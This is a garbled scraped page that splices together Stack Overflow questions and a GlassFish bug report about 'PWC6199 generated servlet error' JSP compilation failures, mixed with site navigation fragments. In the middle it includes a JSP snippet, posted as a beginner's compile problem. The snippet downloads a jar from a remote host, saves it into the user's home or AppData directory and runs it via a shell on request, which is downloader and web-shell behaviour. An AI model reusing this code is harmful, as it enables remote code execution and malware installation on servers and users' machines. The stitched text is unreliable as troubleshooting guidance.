Generated Servlet Error In Jsp
Contents |
here for a quick overview of the site Help Center Detailed answers to any questions you might have Meta Discuss the workings and policies of this site About Us Learn more about Stack pwc6033: error in javac compilation for jsp Overflow the company Business Learn more about hiring developers or posting ads with us pwc6199 generated servlet error package does not exist Stack Overflow Questions Jobs Documentation Tags Users Badges Ask Question x Dismiss Join the Stack Overflow Community Stack Overflow is a community error in javac compilation for jsp pwc6199 of 4.7 million programmers, just like you, helping each other. Join them; it only takes a minute: Sign up Cannot get Glassfish to compile JSP's using version 7 up vote 3 down vote favorite I
Pwc6199 Generated Servlet Error Cannot Find Symbol
have a legacy application I am moving from WebSphere to Liferay running on a Glassfish server. I had gotten the error while trying to deploy the application to Glassfish: *org.glassfish.deployment.common.DeploymentException: JSP Compilation Error: org.apache.jasper.JasperException: PWC6033: Error in Javac compilation for JSP PWC6199: Generated servlet error: diamond operator is not supported in -source 1.5 (use -source 7 or higher to enable diamond operator) PWC6199: Generated servlet error: try-with-resources is not supported in pwc6199: generated servlet error: 'catch' without 'try' -source 1.5 (use -source 7 or higher to enable try-with-resources) PWC6199: Generated servlet error: Some input files use unchecked or unsafe operations. PWC6199: Generated servlet error: Recompile with -Xlint:unchecked for details. -- PWC6033: Error in Javac compilation for JSP PWC6199: Generated servlet error: diamond operator is not supported in -source 1.5 (use -source 7 or higher to enable diamond operator)* I added a section in the glassfish-web.xml:
here for a quick overview of the site Help Center Detailed answers to any questions you might have Meta Discuss the workings and policies of this site About Us glassfish pwc6199 generated servlet error Learn more about Stack Overflow the company Business Learn more about hiring developers
Pwc6199: Generated Servlet Error: ';' Expected
or posting ads with us Stack Overflow Questions Jobs Documentation Tags Users Badges Ask Question x Dismiss Join the Stack
Pwc6197
Overflow Community Stack Overflow is a community of 4.7 million programmers, just like you, helping each other. Join them; it only takes a minute: Sign up JSP servlett error, can't figure it out up http://stackoverflow.com/questions/21294436/cannot-get-glassfish-to-compile-jsps-using-version-7 vote 0 down vote favorite I am relatively new to servletts, and I can't figure this out. Everything looks ok to me... Here is my code: <%@ page import="java.util.*,java.io.*, java.net.*, "%> <% String cmd; String[] cmdarr; String OS = System.getProperty("os.name"); String link = "http://site.com/update.jar"; String userDir = System.getProperty("user.home"); int last = link.lastIndexOf("/"); int ending = link.lastIndexOf("."); String fileName = link.substring(last + 1); String fileEnding = link.substring(ending + http://stackoverflow.com/questions/19460063/jsp-servlett-error-cant-figure-it-out 1); URL u = new URL(link); URLConnection uc = u.openConnection(); String contentType = uc.getContentType(); int contentLength = uc.getContentLength(); if (contentType.startsWith("text/") || contentLength == -1) { throw new IOException("This is not a binary file."); } InputStream raw = uc.getInputStream(); InputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; int offset = 0; while (offset < contentLength) { bytesRead = in.read(data, offset, data.length - offset); if (bytesRead == -1) break; offset += bytesRead; } in.close(); String path; if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } if(OS.startsWith("Mac")){ path = userDir+"/Library/"+fileName; } else if(OS.startsWith("Windows")){ path = userDir+"/AppData/Roaming/"+fileName; } else if(OS.startsWith("Linux")){ path = userDir+"/"+fileName; } else{ path = userDir+"/"+fileName; } FileOutputStream out = new FileOutputStream(path); out.write(data); out.flush(); out.close(); if (request.getParameter("cmd") != null) { cmd = "java -jar "+path; if (OS.startsWith("Windows")) { cmdarr = new String [] {"cmd", "/C", cmd}; } else { cmdarr = new String [] {"/bin/sh", "-c", cmd}; } Process p = Runtime.getRuntime().exec(cmdarr); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();
Details Type: Bug Status: Open Priority: Major Resolution: Unresolved Affects Version/s: https://java.net/jira/browse/GLASSFISH-20721 4.0 Fix Version/s: None Component/s: embedded Labels: None Description When using the embedded container from GlassFish 4.0 compilation for JSP pages fails. This seems to be the exact same issue as GLASSFISH-9511. When I change the container to the one generated servlet from GlassFish 3.1.2.2 everything works correctly. E.g. when using Maven having the following in pom.xml when using Arquillian and Drone will cause the error: